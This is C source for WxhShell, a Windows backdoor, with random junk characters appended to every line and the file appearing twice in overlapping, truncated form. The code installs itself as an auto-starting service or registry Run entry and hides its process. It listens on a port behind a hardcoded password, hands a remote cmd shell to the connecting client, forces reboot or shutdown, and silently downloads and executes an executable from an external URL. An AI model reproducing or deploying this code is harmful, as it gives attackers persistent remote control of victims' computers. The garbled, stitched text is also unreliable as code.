    if(Boot(SHUTDOWN)) kw%vO6"q(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8]DW_bsB  
    else { #J=@} S)  
    closesocket(wsh); 8PR1RC J  
    ExitThread(0); zA~aiX  
    } %\ifnIQ  
    break; {Q%"{h']  
    } 8lI'[Y?3.  
  // 获取shell 3gUGfe di  
  case 's': { TJ&Z/k3-  
    CmdShell(wsh); }m`+E+T4  
    closesocket(wsh); \:'|4D]'I  
    ExitThread(0); a2'si}'3  
    break; aSN"MTw.  
  } d x/NY1  
  // 退出 c" |4'#S  
  case 'x': { 4Jf6uhaE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4iDlBs+  
    CloseIt(wsh); l8$7N=Y  
    break; bv%A;  
    } *0*1.>Vg  
  // 离开 zqDG#}3f^  
  case 'q': { STr&"9c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p$qpC$F  
    closesocket(wsh); c{qoASc?  
    WSACleanup(); 'S[&-D%(3  
    exit(1); L~WC9xguDl  
    break; \-Oq/g{j  
        } /3(|P  
  } A6D@#(D  
  } f vAF0 a  
\Y>!vh X  
  // 提示信息 -W#-m'Lvu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Q^P#<<  
} l2AAEB_C.  
  } @TvoCDeI  
`egyk)"aM  
  return; _&U5 u  
} jt*VD>ji  
l$>))cW!  
// shell模块句柄 J:N4F.o&K  
int CmdShell(SOCKET sock) 0~)_/yx?S  
{ ~> xVhd  
STARTUPINFO si; }'"4q  
ZeroMemory(&si,sizeof(si)); #dd-rooQuD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ykt{]#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5S;|U&f|  
PROCESS_INFORMATION ProcessInfo; H.n+CR  
char cmdline[]="cmd"; }Q=@$YIesD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0Rme}&$  
  return 0; n#NE.ap$&,  
} ?HsQ417.H  
]]InD N  
// 自身启动模式 7AOjlC9R}  
int StartFromService(void) 2I!L+j_  
{ "!fvEE  
typedef struct Qd{h3K^hlu  
{ TB8a#bK4  
  DWORD ExitStatus; Q9[$ 8  
  DWORD PebBaseAddress; .5t|FJ]`$  
  DWORD AffinityMask; lrE|>R  
  DWORD BasePriority; _YT9zG  
  ULONG UniqueProcessId; 1]yjhw9g  
  ULONG InheritedFromUniqueProcessId; K4H U 9!  
}   PROCESS_BASIC_INFORMATION; 2E*k@  
GWQ_X9+q  
PROCNTQSIP NtQueryInformationProcess; ftw@nQNU  
#?V7kds]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `H^?jX>7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -kv'C6gB  
Me.t_)  
  HANDLE             hProcess; Xv5|j/<~p  
  PROCESS_BASIC_INFORMATION pbi; ^T{ww=/v  
=LUDg7P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U,Duq^l~s  
  if(NULL == hInst ) return 0; -t5DcEAb$  
Mzbbr57n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B <CK~ybY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WX2w7O'R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); opQ d ym  
u`Sg'ro  
  if (!NtQueryInformationProcess) return 0; z.xOT;t  
UImd* ;2TE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HgY#O r(  
  if(!hProcess) return 0; h/AL `$  
1>$}N?u:T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `4&a"`&$  
9uRs@]i  
  CloseHandle(hProcess); lwhVP$q}  
Z,? T`[4B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); --32kuF&(  
if(hProcess==NULL) return 0; !R`)S7!  
w|;kL{(W  
HMODULE hMod; 7wm9S4+|  
char procName[255]; e@GR[0~  
unsigned long cbNeeded; p?#cn   
fFBD5q(n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c'678!r9 P  
Za&.sg3RG  
  CloseHandle(hProcess); us:V\V  
jW?siQO^  
if(strstr(procName,"services")) return 1; // 以服务启动 L'*P;z7<  
l$:.bwXXO  
  return 0; // 注册表启动 H=f'nm]dQ  
} 5z$>M3  
%U4w@jp  
// 主模块 Ga%x(1U[&  
int StartWxhshell(LPSTR lpCmdLine) ,z*-93H1  
{ Gz>M`M`[4  
  SOCKET wsl; YTtuR`  
BOOL val=TRUE; syseYt]  
  int port=0; Yy_o*Ozq  
  struct sockaddr_in door; z@_ 9.n]  
9aE.jpN  
  if(wscfg.ws_autoins) Install(); T\Zq/Z\  
|.s#m^"  
port=atoi(lpCmdLine); RCS91[  
WC?}a^ 8  
if(port<=0) port=wscfg.ws_port; 'A|OVyH  
H,? )6pZ  
  WSADATA data; 1VH$l(7IQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q*h1=H52  
:=0XT`iY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @aA1=9-L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -quWnn/  
  door.sin_family = AF_INET; CQLh;W`Dc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XO=UKk+EK  
  door.sin_port = htons(port); CUS^j  
z_jTR[dY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "DW; 6<m  
closesocket(wsl); )k@+8Yfa1p  
return 1; mp{r$tc  
} iTt#%Fs)4M  
e^Ds|}{V  
  if(listen(wsl,2) == INVALID_SOCKET) { r RfPq  
closesocket(wsl); V&' :S{i  
return 1; 9O%4x"*PO  
} )ny,vcU]  
  Wxhshell(wsl); Rj/9\F3H  
  WSACleanup(); L 1fK  
V?k"BU  
return 0; %/^k r ZD  
Xgy)Z:R  
} s 4Mi9h_  
CD]2a@j {  
// 以NT服务方式启动 =h083|y>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'pUJlPGx  
{ 6iozb~!Rr  
DWORD   status = 0; B Bub'  
  DWORD   specificError = 0xfffffff; Qe~2'Hw#9  
L?@ TF;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V!'N:je  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /$IF!q+C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; is3nLm(  
  serviceStatus.dwWin32ExitCode     = 0; %Ps DS  
  serviceStatus.dwServiceSpecificExitCode = 0; eBK s-2r  
  serviceStatus.dwCheckPoint       = 0; 4E Hb  
  serviceStatus.dwWaitHint       = 0; NjTVinz  
sH^?v0^a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h-XMr_F  
  if (hServiceStatusHandle==0) return; 2Qoj>Wy{  
A0NNB%4|/  
status = GetLastError(); 5>XrNc91  
  if (status!=NO_ERROR) &zCqF=/9U  
{ 4b"%171  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C~2/ 5  
    serviceStatus.dwCheckPoint       = 0; [":[\D'  
    serviceStatus.dwWaitHint       = 0; AX|-Gv  
    serviceStatus.dwWin32ExitCode     = status; R|Oy/RGY$  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5 i1T?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! ~' \Ey  
    return; Kb_R "b3v  
  }  V/0?0VKG  
IH$R X GL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y:nF.An3  
  serviceStatus.dwCheckPoint       = 0; =jik33QV<  
  serviceStatus.dwWaitHint       = 0; q4k)E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]~,V(K  
} L"i B'=  
u5f+%!p  
// 处理NT服务事件,比如:启动、停止 ~urV`J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :'OCQ.[{s  
{ gyW*-:C  
switch(fdwControl) =5P_xQx  
{ h_ ^,|@C "  
case SERVICE_CONTROL_STOP:  c|N!ZYJI  
  serviceStatus.dwWin32ExitCode = 0; N*PF&MyB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q\qV~G`  
  serviceStatus.dwCheckPoint   = 0; #\+ TKK  
  serviceStatus.dwWaitHint     = 0; ASuxty  
  { I#Q Tmg.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o:\RJig<  
  } TtL2}Wdd.%  
  return; -R!qDA"  
case SERVICE_CONTROL_PAUSE: ,w.`(?I/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LE_1H >  
  break; $*| :A  
case SERVICE_CONTROL_CONTINUE: jafq(t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VV(>e@Bc4  
  break; mm3goIi; Y  
case SERVICE_CONTROL_INTERROGATE: n6gYZd  
  break; S7Xr~5>X  
}; J&{qe@^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \C3ir&  
} ?VMj;+'tr  
U~8.uldnF  
// 标准应用程序主函数 S9Fg0E+J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v+Vpak9|  
{ [aF?1KxNMt  
mMqT-jT  
// 获取操作系统版本 -aiQp@^/J  
OsIsNt=GetOsVer(); G"jKYW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q+{-p?;;  
U[zY0B  
  // 从命令行安装 \lKiUy/  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?Z@FxW  
XA~Rn>7&H  
  // 下载执行文件 oZ1#.o{  
if(wscfg.ws_downexe) { ;lST@>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gmfux b/  
  WinExec(wscfg.ws_filenam,SW_HIDE); }>JFO:v&  
} @GGzah#  
9l+`O0.@  
if(!OsIsNt) { QD LXfl/  
// 如果时win9x,隐藏进程并且设置为注册表启动 9&A-o  
HideProc(); %zHNX4  
StartWxhshell(lpCmdLine); 7z \I\8  
} #&.& Uu$  
else d:0RDK-}s  
  if(StartFromService()) AElx #` T  
  // 以服务方式启动 [L1pDICoy  
  StartServiceCtrlDispatcher(DispatchTable); >n@?F[Y  
else oK h#th  
  // 普通方式启动 7?K?-Oj  
  StartWxhshell(lpCmdLine); 5y! 4ny _  
d"+zDc;  
return 0; m",wjoZe*  
} g$~3@zD  
WYTeu "  
XG"&\FL{T  
%}cGAHV  
=========================================== p(MhDS\J  
UYH;15s  
>Fm}s,  
]RmQ*F-  
-6MgC9]  
4-[L^1%S[  
" 8WU UE=p  
[~ bfM6Jw  
#include <stdio.h> ;C%40;Q  
#include <string.h> 59";{"sw  
#include <windows.h> -zg,pK$+  
#include <winsock2.h> CjM+%l0MW  
#include <winsvc.h> CGIcuHp  
#include <urlmon.h> $]4^ENkI  
ll {jE  
#pragma comment (lib, "Ws2_32.lib") e#K =SV!H  
#pragma comment (lib, "urlmon.lib") H,qIHQW#  
hG cq>Cvf  
#define MAX_USER   100 // 最大客户端连接数 * B,D#;6  
#define BUF_SOCK   200 // sock buffer `G\uTCpk  
#define KEY_BUFF   255 // 输入 buffer 9|dgmEd  
PYqx&om  
#define REBOOT     0   // 重启 4VPL -":6  
#define SHUTDOWN   1   // 关机 @`aR*B  
cu|gM[  
#define DEF_PORT   5000 // 监听端口 $rDeI-)S  
w!)B\l^+c  
#define REG_LEN     16   // 注册表键长度 6\)61o_1|  
#define SVC_LEN     80   // NT服务名长度 zF%CFqQ  
x^}kG[s  
// 从dll定义API i]*W t8~!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /hf}f=7kH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,v:m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >`p`^:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m8H|cQ@Uu  
S pDVD  
// wxhshell配置信息 V'~] b~R  
struct WSCFG { Z{`;Ys:zk  
  int ws_port;         // 监听端口 bp2l%A;  
  char ws_passstr[REG_LEN]; // 口令 R-J\c+C>W  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nh~ Hh(   
  char ws_regname[REG_LEN]; // 注册表键名 "<0BCJJ  
  char ws_svcname[REG_LEN]; // 服务名 -;'8#"{`^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QJp _>K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .pQH>;k]K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?:Y{c#w>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =?T\zLN=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?"PUw3V3lB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8 s!0Z1Roc  
"aK3 ylz;  
}; DDn@M|*$  
B2VC:TG>  
// default Wxhshell configuration K+xiov-r?  
struct WSCFG wscfg={DEF_PORT, a ^<W ?Z  
    "xuhuanlingzhe", =:[Jz1M5  
    1, WV!qG6\W  
    "Wxhshell", 7 2ux3D  
    "Wxhshell", VYkOJAEBg  
            "WxhShell Service", -_.)~ )P  
    "Wrsky Windows CmdShell Service", *PE 1)bF  
    "Please Input Your Password: ",  @jO3+  
  1, j]}A"8=1  
  "http://www.wrsky.com/wxhshell.exe", XodA(73`i  
  "Wxhshell.exe" M~w =ZJ@  
    }; v0|A N  
2hAu~#X  
// 消息定义模块 =v=a:e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t>f<4~%MJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I\PhgFt@O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M4pE wD  
char *msg_ws_ext="\n\rExit."; rOw""mE  
char *msg_ws_end="\n\rQuit."; !HL7a]PB  
char *msg_ws_boot="\n\rReboot..."; (;P)oB"`C  
char *msg_ws_poff="\n\rShutdown..."; 0G1?  
char *msg_ws_down="\n\rSave to "; 6#fl1GdH-  
n;Tpf<*U  
char *msg_ws_err="\n\rErr!"; MPA<?  
char *msg_ws_ok="\n\rOK!"; s;X"E =  
!!4_x  
char ExeFile[MAX_PATH]; x;S v&  
int nUser = 0; bgGd  
HANDLE handles[MAX_USER]; CE-ySIa  
int OsIsNt; br+{23&1R#  
'YQ"Lf  
SERVICE_STATUS       serviceStatus; {NXc<0a(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6ND,4'6  
Zalgg/.  
// 函数声明 Kvv&# eO\  
int Install(void); ;$l!mv 7  
int Uninstall(void); L=3^A'|  
int DownloadFile(char *sURL, SOCKET wsh); @26H;  
int Boot(int flag); AZt~ \qf  
void HideProc(void); /4+M0Pl  
int GetOsVer(void); [c]X) @#S  
int Wxhshell(SOCKET wsl); #o_`$'>  
void TalkWithClient(void *cs); 12DMb9_rp  
int CmdShell(SOCKET sock); -}@3,G  
int StartFromService(void); S{{D G  
int StartWxhshell(LPSTR lpCmdLine); vE7L> 7  
BbUZ,X*Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ }>1$kH;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )`yxJ;O@$  
^;n,C+  
// 数据结构和表定义 bEP-I5j1t  
SERVICE_TABLE_ENTRY DispatchTable[] = ?dlQE,hB$  
{ KB <n-'  
{wscfg.ws_svcname, NTServiceMain}, Bx0^?>  
{NULL, NULL} qyGVyi3  
}; pL8+gL  
YuSe~~F)j  
// 自我安装 w' K\}G~  
int Install(void) zz 7 m\  
{ Kc_QxON4  
  char svExeFile[MAX_PATH]; YOwo\'|=  
  HKEY key; (o)nN8  
  strcpy(svExeFile,ExeFile); . ]0B=w* Z  
.5|AX6p+^  
// 如果是win9x系统,修改注册表设为自启动 qPuxYU  
if(!OsIsNt) { ]=of=T:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==`K$rM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d$8rzd  
  RegCloseKey(key); +u' ?VBv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U0t/(Jyg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OJ\IdUZ   
  RegCloseKey(key); J!O5`k*.C  
  return 0; /vS!9f${  
    } v' .:?9  
  } \ F#mwl,>"  
} Q\&FuU  
else { =_I2ek  
%/b?T]{  
// 如果是NT以上系统,安装为系统服务 ^-c j=on=Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hNmC(saMGm  
if (schSCManager!=0) #P=rP=  
{ &}@U#w]l  
  SC_HANDLE schService = CreateService R8P7JY[h  
  ( &G7JGar  
  schSCManager, C%t~?jEK~^  
  wscfg.ws_svcname, o $oW-U  
  wscfg.ws_svcdisp,  wX@&Qv  
  SERVICE_ALL_ACCESS, |`_qmk[:R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Enm#\(j  
  SERVICE_AUTO_START, //]g78]=O  
  SERVICE_ERROR_NORMAL, {ER! 0w/  
  svExeFile, S Y>i@s+ML  
  NULL, KhAj`vOzK  
  NULL, Pe8W Br;`  
  NULL, z kQV$n{  
  NULL, R}c,ahd  
  NULL DvHcT] l>5  
  ); $UavM|  
  if (schService!=0) 9KRHo%m  
  { _O2},9L n  
  CloseServiceHandle(schService); vt<r_&+ pJ  
  CloseServiceHandle(schSCManager); W,5A|Q~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u$$@Hw  
  strcat(svExeFile,wscfg.ws_svcname); evNo(U\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3Ba>a(E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uFOxb}a9v  
  RegCloseKey(key); m5Q,RwJ!xK  
  return 0; (xpj?zlmM  
    } ;E>5<[aa  
  } wx n D3  
  CloseServiceHandle(schSCManager); Wk"4mq  
} /"+YE&>\  
} '; ,DgR;'  
ne] |\]  
return 1; n3t1'_/TU}  
} 0b+OB pqN  
~[d U%I>L^  
// 自我卸载 0'*whhH  
int Uninstall(void) ]4-lrI1#  
{ ce th)Xm  
  HKEY key; BM!\U 6  
>B/ jTn5=  
if(!OsIsNt) { 5n! V^ !  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3US}('  
  RegDeleteValue(key,wscfg.ws_regname); +gqtW8 6  
  RegCloseKey(key); \?7)oFNz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'uS!rKkQlu  
  RegDeleteValue(key,wscfg.ws_regname); LHU^%;L  
  RegCloseKey(key); -jnx0{/  
  return 0; |ybW  
  } W.TZU'%  
} 8 7P{vf#  
} g^@ Kx5O\  
else { #3vq+mcn  
j9Ptd$Uj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2.CjjI  
if (schSCManager!=0) Ex9%i9H  
{ ?F]Yebp^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $Nvt:X_  
  if (schService!=0) y E-H-r~I  
  { Q1J./C}  
  if(DeleteService(schService)!=0) { =8O057y  
  CloseServiceHandle(schService); H7n5k,  
  CloseServiceHandle(schSCManager); eKi/Mt  
  return 0; Fj}|uiOQUS  
  } i*B@#;;F  
  CloseServiceHandle(schService); s `fIeP  
  } u,e'5,`N  
  CloseServiceHandle(schSCManager); {$z)7s  
} BV,P;T0"D  
} Cv862k P  
c9imfA+e  
return 1; ~L(=-B`Ow  
} BoZ])Y6=  
P/snzm|@  
// 从指定url下载文件 ^N}zePy0  
int DownloadFile(char *sURL, SOCKET wsh) rU<NHFGj4  
{ s'' ?: +  
  HRESULT hr; hNs970i  
char seps[]= "/"; D,%R[F? 5O  
char *token; Ug02G  
char *file; e\x=4i  
char myURL[MAX_PATH]; *5Upb,* *  
char myFILE[MAX_PATH]; x'kwk  
',j'Hf  
strcpy(myURL,sURL); wr{03mQHxp  
  token=strtok(myURL,seps); 48dIh\TH"  
  while(token!=NULL) !c-Ie~GIT  
  { Ci6yH( RE  
    file=token; HPl!r0 h  
  token=strtok(NULL,seps); 834(kw+#9  
  } yL/EIN  
iL(rZT&^  
GetCurrentDirectory(MAX_PATH,myFILE); 0Ci\(  
strcat(myFILE, "\\"); Z&FC:4!!  
strcat(myFILE, file); ( ,1}P  
  send(wsh,myFILE,strlen(myFILE),0); b:3n)-V{u  
send(wsh,"...",3,0); n B4)%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y,EReamp  
  if(hr==S_OK) dd1m~Gm  
return 0; n ^P=a'+  
else \hN\px  
return 1; @k:f(c  
9z7^0Ruw  
} P\ \4 w)C  
2`>/y  
// 系统电源模块 hNBv|&D#  
int Boot(int flag) &09z`* ,  
{ y;A<R[|Ve  
  HANDLE hToken; Q!K@  
  TOKEN_PRIVILEGES tkp; YSwAu,$jf  
& V :q}Q  
  if(OsIsNt) { 1~:7W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (\m4o   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jv7-i'I@  
    tkp.PrivilegeCount = 1; bK;I:JK3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hZ|*=/3k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eq.K77El{J  
if(flag==REBOOT) { #g[jwl'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N),bhYS]  
  return 0; (pM5B8U  
} S|!)_RL  
else { a@`15O:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |_L\^T|6  
  return 0; fkE4 [X7f  
} p\I,P2on  
  } %7=B?c |  
  else { ,73 kh  
if(flag==REBOOT) { *(6vO{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wY|&qX,  
  return 0; W^; wr#  
} -=BQVJ_dK{  
else {  jL8[;*^G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nIdB,  
  return 0; V5sH:A7GJ  
} hJY= )  
} :l>&5w;  
%UZ_wsY\  
return 1;  z}\TS.  
} 9bvzt8pc  
#<d f!)  
// win9x进程隐藏模块 1gk{|keh  
void HideProc(void) K6<@DP+/  
{ y1R53u`;L  
K{)N:|y%!$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1}+lL)-!  
  if ( hKernel != NULL ) _j{^I^P  
  { {~NiGH Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @wO"?w(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \jLn5$OW  
    FreeLibrary(hKernel); 0S8v41i6  
  } ]la8MaZ<  
4mR{\ d  
return; 5BKga1Q  
} $g&,$7}O_  
!G E-5\*  
// 获取操作系统版本 lc1?Vd$  
int GetOsVer(void) l/9V59Fv9  
{ *olV Y/'O  
  OSVERSIONINFO winfo; |uo<<-\jTO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )]x/MC:9r  
  GetVersionEx(&winfo); y ,][  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #xL^S9P  
  return 1; >DX\^86x  
  else 0'u2xe  
  return 0; d|5V"U]W;  
} j8WMGSrrF  
9sYN7x  
// 客户端句柄模块 CVfQ  
int Wxhshell(SOCKET wsl) $1<V'b[E  
{ &?L K>QV  
  SOCKET wsh; )>,; GVu"  
  struct sockaddr_in client; tlhYk=yq  
  DWORD myID; "e]1|~  
mlC_E)Ed5  
  while(nUser<MAX_USER) IG@.WsM_  
{ eytd@-7uX  
  int nSize=sizeof(client); Lc,`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f9v%k'T[  
  if(wsh==INVALID_SOCKET) return 1; dIk/vg  
sOzmw^7   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~=HrD?-99p  
if(handles[nUser]==0) 1.\|,$  
  closesocket(wsh); Q/[|/uNw?  
else <P&~k\BuF{  
  nUser++; I2G4j/c=z  
  } ^8dd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); On%21L;JG  
Hc.r/  
  return 0; (p4|,\+  
} 9_yO 6)`  
}{"a}zOl  
// 关闭 socket yVA<-PlS<  
void CloseIt(SOCKET wsh) lm'L-ZPN  
{ L"|4 v  
closesocket(wsh); xXG-yh  
nUser--; a1V+doC  
ExitThread(0); 5IOMc 4v  
} 5!WQ  
Y r3h=XY  
// 客户端请求句柄 9WN 4eC$  
void TalkWithClient(void *cs) 4o7(cP  
{  N7%iz+  
EB8=*B8  
  SOCKET wsh=(SOCKET)cs; >y&Db  
  char pwd[SVC_LEN]; f-6hcd@Ca  
  char cmd[KEY_BUFF]; paFiuQ  
char chr[1];  d+FS  
int i,j; 6zuWG0t  
TI '(  
  while (nUser < MAX_USER) { ;-SFK+)R"  
vrVb/hhG  
if(wscfg.ws_passstr) { WjfUbKg0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r![RRa^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j2GO ZKy  
  //ZeroMemory(pwd,KEY_BUFF); q2Xm~uN`)  
      i=0; 76e%&ZG)Q  
  while(i<SVC_LEN) { &YMz3ugI  
9qyA{ |3  
  // 设置超时 yEYlQ=[#  
  fd_set FdRead; 5I#L|+  
  struct timeval TimeOut; TR2X' `:O  
  FD_ZERO(&FdRead); CX](^yU_  
  FD_SET(wsh,&FdRead); CKJ9YKu{W  
  TimeOut.tv_sec=8; Q-<,+[/  
  TimeOut.tv_usec=0; s)_Xj`Q#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;r(hZ%pD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {Rc!S? 8  
FPM@%U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _-^bAr`z  
  pwd=chr[0]; S3cjw9V  
  if(chr[0]==0xd || chr[0]==0xa) { *}BaO*A  
  pwd=0; MQD%m ;[s  
  break; i3C5"\y  
  } t;wfp>El  
  i++; X\X* -.]{  
    } qmzg68  
h\+U+ ?u  
  // 如果是非法用户,关闭 socket r!/=Iy@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); py9zDWk~  
} k-;%/:Om  
qJq49}2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UhQsT^b_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5nq0#0O c  
AvW2)+6G  
while(1) { M%dJqwH5{  
s>}ScJZK  
  ZeroMemory(cmd,KEY_BUFF); =,Y i" E  
Pba 6Ay6B  
      // 自动支持客户端 telnet标准   J*)Vpk  
  j=0; CiE  
  while(j<KEY_BUFF) { !>$tRW?gH~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CD$0Z  
  cmd[j]=chr[0]; XXuIWIhm  
  if(chr[0]==0xa || chr[0]==0xd) { sT| $@$bN  
  cmd[j]=0; pJM~'tlHV  
  break; 3#)I7FG  
  } Tac7+=T  
  j++; JffjGf-o  
    } N[$bP)h7  
. J"g.Q  
  // 下载文件 d*7nz=0&$  
  if(strstr(cmd,"http://")) { p(EV-^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )vH6N_  
  if(DownloadFile(cmd,wsh)) < C54cO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  QW  
  else ;{Cr+lqTJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |eD$eZ=m  
  } j=U [V&T  
  else { Uloa]X=Im8  
//C3tW  
    switch(cmd[0]) { Wj2s+L7,  
  F@e9Dz|  
  // 帮助 ~T;FOB%w  
